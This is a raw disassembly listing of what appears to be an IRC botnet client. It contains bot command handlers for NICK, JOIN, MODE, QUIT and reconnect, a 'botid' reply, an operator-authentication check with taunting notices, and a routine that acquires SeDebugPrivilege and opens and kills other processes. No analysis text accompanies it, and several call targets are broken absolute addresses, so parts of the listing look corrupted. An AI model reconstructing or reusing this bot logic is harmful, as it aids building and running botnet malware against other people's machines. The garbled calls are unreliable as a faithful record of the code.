loc_414807:				; CODE XREF: sub_40EE72+597Dj
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_435744
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_414818:				; CODE XREF: sub_40EE72+1620j
					; sub_40EE72+1635j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414837
		push	ebx
		push	[ebp+var_4]
		push	offset dword_43571C
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_414837:				; CODE XREF: sub_40EE72+59A9j
		push	[ebp+arg_4]
		call	dword_43F700
		call	dword_43F5C8
		call	sub_40AC42
		push	ebx
		call	near ptr 77E75CB5h
		nop

loc_414852:				; CODE XREF: sub_40EE72+15F6j
					; sub_40EE72+160Bj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B8D8
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4356F4
		jmp	loc_4145BD
; ---------------------------------------------------------------------------

loc_414880:				; CODE XREF: sub_40EE72+14BCj
					; sub_40EE72+14D1j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4356CC
		jmp	loc_4145BD
; ---------------------------------------------------------------------------

loc_4148B2:				; CODE XREF: sub_40EE72+1492j
					; sub_40EE72+14A7j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C00D
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_4148CB:				; CODE XREF: sub_40EE72+1468j
					; sub_40EE72+147Dj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_41490A
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_41490A
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41490A
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_388]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 10h

loc_41490A:				; CODE XREF: sub_40EE72+5A62j
					; sub_40EE72+5A6Dj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_408]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4356A4
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Dh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40C07F
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4149AD

loc_414997:				; CODE XREF: sub_40EE72+5B39j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40F239
		push	32h
		call	near ptr 25D0CB3h
		nop
		jmp	short loc_414997
; ---------------------------------------------------------------------------

loc_4149AD:				; CODE XREF: sub_40EE72+5B23j
		nop
		call	near ptr 2610941h
		push	eax
		push	offset dword_43565C
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_4149BE:				; CODE XREF: sub_40EE72+143Ej
					; sub_40EE72+1453j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BEF5
		push	offset dword_435634
		call	sub_40BF6D
		jmp	loc_41452A
; ---------------------------------------------------------------------------

loc_4149DE:				; CODE XREF: sub_40EE72+1414j
					; sub_40EE72+1429j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jz	short loc_414A38
		push	offset dword_435630
		push	esi
		call	sub_4176D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_414A3E
; ---------------------------------------------------------------------------

loc_414A38:				; CODE XREF: sub_40EE72+5BAAj
		mov	[ebp+var_46C], ebx

loc_414A3E:				; CODE XREF: sub_40EE72+5BC4j
		lea	eax, [ebp+var_2DC]
		push	offset dword_435604
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	20h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset byte_416DC7
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414AA8

loc_414A96:				; CODE XREF: sub_40EE72+5C34j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414AC3
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_414A96
; ---------------------------------------------------------------------------

loc_414AA8:				; CODE XREF: sub_40EE72+5C22j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset dword_4355BC

loc_414AB4:				; CODE XREF: sub_40EE72+489Fj
					; sub_40EE72+49BBj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_414AC3:				; CODE XREF: sub_40EE72+4529j
					; sub_40EE72+4541j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		jmp	loc_410654
; ---------------------------------------------------------------------------

loc_414ACF:				; CODE XREF: sub_40EE72+1398j
					; sub_40EE72+13ADj
		push	offset aBotid	; "botid"
		push	offset dword_435594
		jmp	short loc_414AED
; ---------------------------------------------------------------------------

loc_414ADB:				; CODE XREF: sub_40EE72+136Ej
					; sub_40EE72+1383j
		push	dword_489C50
		call	sub_40B721
		pop	ecx
		push	eax
		push	offset dword_435558

loc_414AED:				; CODE XREF: sub_40EE72+5C67j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_4110FD
; ---------------------------------------------------------------------------

loc_414B1A:				; CODE XREF: sub_40EE72+1344j
					; sub_40EE72+1359j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414B4C
		cmp	[ebp+var_C], ebx
		jz	short loc_414B5B
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414B5B
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		jmp	short loc_414B5B
; ---------------------------------------------------------------------------

loc_414B4C:				; CODE XREF: sub_40EE72+5CB1j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		pop	ecx
		pop	ecx

loc_414B5B:				; CODE XREF: sub_40EE72+5CB6j
					; sub_40EE72+5CC5j ...
		push	0FFFFFFFEh
		jmp	loc_40F23B
; ---------------------------------------------------------------------------

loc_414B62:				; CODE XREF: sub_40EE72+131Aj
					; sub_40EE72+132Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_435508
		call	sub_40BF6D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414B84:				; CODE XREF: sub_40EE72+12F0j
					; sub_40EE72+1305j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_4354C8
		call	sub_40BF6D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414BA5:				; CODE XREF: sub_40EE72+12C6j
					; sub_40EE72+12DBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407110
		jmp	loc_412FF6
; ---------------------------------------------------------------------------

loc_414BBB:				; CODE XREF: sub_40EE72+1221j
					; sub_40EE72+1236j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_4354B8
		push	offset dword_4354AC
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_414BD3:				; CODE XREF: sub_40EE72+11F7j
					; sub_40EE72+120Cj
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_4354A0
		push	offset dword_435490
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_414BEB:				; CODE XREF: sub_40EE72+1022j
					; sub_40EE72+1037j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414C0F
; ---------------------------------------------------------------------------

loc_414C0A:				; CODE XREF: sub_40EE72+5D82j
					; sub_40EE72+5D8Dj
		mov	eax, dword_42F5A8

loc_414C0F:				; CODE XREF: sub_40EE72+5D96j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_414C34
		push	esi

loc_414C21:				; CODE XREF: sub_40EE72+5DD1j
		lea	eax, [ebp+var_488]
		push	10h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414C4B
; ---------------------------------------------------------------------------

loc_414C34:				; CODE XREF: sub_40EE72+5DACj
		cmp	[ebp+var_9C7], bl
		jz	short loc_414C45
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_414C21
; ---------------------------------------------------------------------------

loc_414C45:				; CODE XREF: sub_40EE72+5DC8j
		mov	[ebp+var_488], bl

loc_414C4B:				; CODE XREF: sub_40EE72+5DC0j
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_508]
		push	eax
		mov	[ebp+var_50C], esi
		call	sub_41782A
		add	esp, 0Ch
		push	[ebp+var_478]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	11h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_407FEA
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414CFC

loc_414CE6:				; CODE XREF: sub_40EE72+5E88j
		cmp	[ebp+var_464], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_414CE6
; ---------------------------------------------------------------------------

loc_414CFC:				; CODE XREF: sub_40EE72+5E72j
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_435448
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_414D0D:				; CODE XREF: sub_40EE72+FCEj
					; sub_40EE72+FE3j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D35
		push	edi
		push	offset aSec	; "sec"
		call	sub_4176D0
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D3F

loc_414D35:				; CODE XREF: sub_40EE72+5EAAj
		mov	[ebp+var_46C], 1

loc_414D3F:				; CODE XREF: sub_40EE72+5EC1j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_414D86
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_414D86:				; CODE XREF: sub_40EE72+5F0Dj
		push	eax
		push	offset dword_4353FC
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ah
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415F28
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414DF6

loc_414DE4:				; CODE XREF: sub_40EE72+5F82j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414E11
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_414DE4
; ---------------------------------------------------------------------------

loc_414DF6:				; CODE XREF: sub_40EE72+5F70j
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_4353B0

loc_414E02:				; CODE XREF: sub_40EE72+3DA7j
					; sub_40EE72+4AC3j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_414E11:				; CODE XREF: sub_40EE72+2EB3j
					; sub_40EE72+395Bj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_40F428
; ---------------------------------------------------------------------------

loc_414E22:				; CODE XREF: sub_40EE72+FA4j
					; sub_40EE72+FB9j
		push	offset aAbosal7Tool ; "ABOSAL7 tool"
		push	offset dword_435390
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_414E31:				; CODE XREF: sub_40EE72+F7Aj
					; sub_40EE72+F8Fj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414E91
		push	esi
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_414E86
		cmp	eax, 2
		jge	short loc_414E86
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_414E7B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438738
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_414E7B:				; CODE XREF: sub_40EE72+5FE8j
		push	eax
		push	offset dword_435354
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414E86:				; CODE XREF: sub_40EE72+5FD3j
					; sub_40EE72+5FD8j
		push	eax
		push	offset dword_435318
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414E91:				; CODE XREF: sub_40EE72+5FC8j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_414E96:				; CODE XREF: sub_40EE72+6040j
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EB9
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414E96
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_414EB9:				; CODE XREF: sub_40EE72+6034j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_438738
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414ED3:				; CODE XREF: sub_40EE72+F50j
					; sub_40EE72+F65j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414F47
		call	sub_416F25
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_414EF5:				; CODE XREF: sub_40EE72+F26j
					; sub_40EE72+F3Bj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_928]
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		add	esp, 10h
		lea	eax, [ebp+var_928]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		lea	eax, [ebp+var_928]
		push	eax
		push	offset dword_4352E4

loc_414F40:				; CODE XREF: sub_40EE72+4346j
					; sub_40EE72+49D9j ...
		call	sub_40BFE1
		pop	ecx

loc_414F46:				; CODE XREF: sub_40EE72+17E7j
		pop	ecx

loc_414F47:				; CODE XREF: sub_40EE72+65Fj
					; sub_40EE72+66Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414F4F:				; CODE XREF: sub_40EE72+B28j
					; sub_40EE72+B3Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40F239
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	offset asc_4387B4 ; "!"
		push	[ebp+var_94]
		call	sub_418B6E
		mov	esi, eax
		push	offset dword_43C824
		push	ebx
		inc	esi
		call	sub_418B6E
		push	offset asc_4352E0 ; "~"
		push	eax
		call	sub_418B6E
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_4176D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_414FEE
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_435258
		jmp	loc_40F813
; ---------------------------------------------------------------------------

loc_414FEE:				; CODE XREF: sub_40EE72+6138j
		mov	[ebp+arg_24], offset off_42F6C4

loc_414FF5:				; CODE XREF: sub_40EE72+619Fj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415055
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42F6C8
		jb	short loc_414FF5
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_43521C
		jmp	loc_40F813
; ---------------------------------------------------------------------------

loc_415055:				; CODE XREF: sub_40EE72+6192j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_41505A:				; CODE XREF: sub_40EE72+6212j
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		cmp	[edi], bl
		jnz	short loc_41507A
		push	[ebp+arg_0]
		push	offset aCool	; "cool"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41508B

loc_41507A:				; CODE XREF: sub_40EE72+61F3j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41505A
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_41508B:				; CODE XREF: sub_40EE72+6206j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_AA8]
		push	7Fh
		push	eax
		push	esi
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4150C2
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4351F0
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4150C2:				; CODE XREF: sub_40EE72+6234j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4351C0
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_4150D3:				; CODE XREF: sub_40EE72+20Ej
					; sub_40EE72+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		mov	dword_489DCC, edi
		jmp	loc_40F10F
sub_40EE72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41511F	proc near		; CODE XREF: sub_409037+45p
					; sub_409037+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 2740D21h
		nop
		push	eax
		call	dword_43F64C
		test	eax, eax
		jnz	short loc_41513E
		leave
		retn
; ---------------------------------------------------------------------------

loc_41513E:				; CODE XREF: sub_41511F+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43F624
		test	eax, eax
		jz	short loc_41517C
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_415165
		or	[ebp+var_8], 2
		jmp	short loc_415169
; ---------------------------------------------------------------------------

loc_415165:				; CODE XREF: sub_41511F+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_415169:				; CODE XREF: sub_41511F+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43F6D4
		mov	esi, eax

loc_41517C:				; CODE XREF: sub_41511F+32j
		push	[ebp+var_4]
		nop
		call	near ptr 25F1A27h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41511F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41518A	proc near		; CODE XREF: sub_40EE72+4B68p
					; sub_41533B+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43F688, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_415334
		cmp	dword_43F66C, ebx
		jz	loc_415334
		cmp	dword_43F588, ebx
		jz	loc_415334
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43F688
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_415327
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43F66C
		mov	esi, dword_424078
		test	eax, eax
		jz	loc_415322

loc_41522D:				; CODE XREF: sub_41518A+BEj
					; sub_41518A+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43F588
		test	eax, eax
		jz	loc_415322
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41522D
		cmp	[ebp+arg_C], ebx
		jnz	loc_4152DA
		cmp	[ebp+arg_4], ebx
		jz	short loc_41522D
		push	[ebp+var_124]
		push	8
		call	dword_43F688
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_415297
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43F534
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_41529D
		lea	eax, [ebp+var_230]
		jmp	short loc_4152A3
; ---------------------------------------------------------------------------

loc_415297:				; CODE XREF: sub_41518A+EBj
		push	[ebp+var_124]

loc_41529D:				; CODE XREF: sub_41518A+103j
		lea	eax, [ebp+var_108]

loc_4152A3:				; CODE XREF: sub_41518A+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		push	edi
		call	esi
		jmp	loc_41522D
; ---------------------------------------------------------------------------

loc_4152DA:				; CODE XREF: sub_41518A+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41522D
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		nop
		call	near ptr 26E04FBh
		push	[ebp+var_4]
		mov	edi, eax
		call	esi
		push	ebx
		push	edi
		nop
		call	near ptr 2790AB4h
		test	eax, eax
		jnz	short loc_41531D
		push	edi
		call	esi
		jmp	short loc_415334
; ---------------------------------------------------------------------------

loc_41531D:				; CODE XREF: sub_41518A+18Cj
		push	1
		pop	eax
		jmp	short loc_415336
; ---------------------------------------------------------------------------

loc_415322:				; CODE XREF: sub_41518A+9Dj
					; sub_41518A+B5j
		push	[ebp+var_4]
		call	esi

loc_415327:				; CODE XREF: sub_41518A+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx

loc_415334:				; CODE XREF: sub_41518A+3Aj
					; sub_41518A+46j ...
		xor	eax, eax

loc_415336:				; CODE XREF: sub_41518A+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41518A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41533B	proc near		; DATA XREF: sub_40EE72+595Co

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_438838
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41539A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h

loc_41539A:				; CODE XREF: sub_41533B+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_41518A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4153C2
		push	offset unk_438800
		jmp	short loc_4153C7
; ---------------------------------------------------------------------------

loc_4153C2:				; CODE XREF: sub_41533B+7Ej
		push	offset unk_4387C8

loc_4153C7:				; CODE XREF: sub_41533B+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4153FA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h

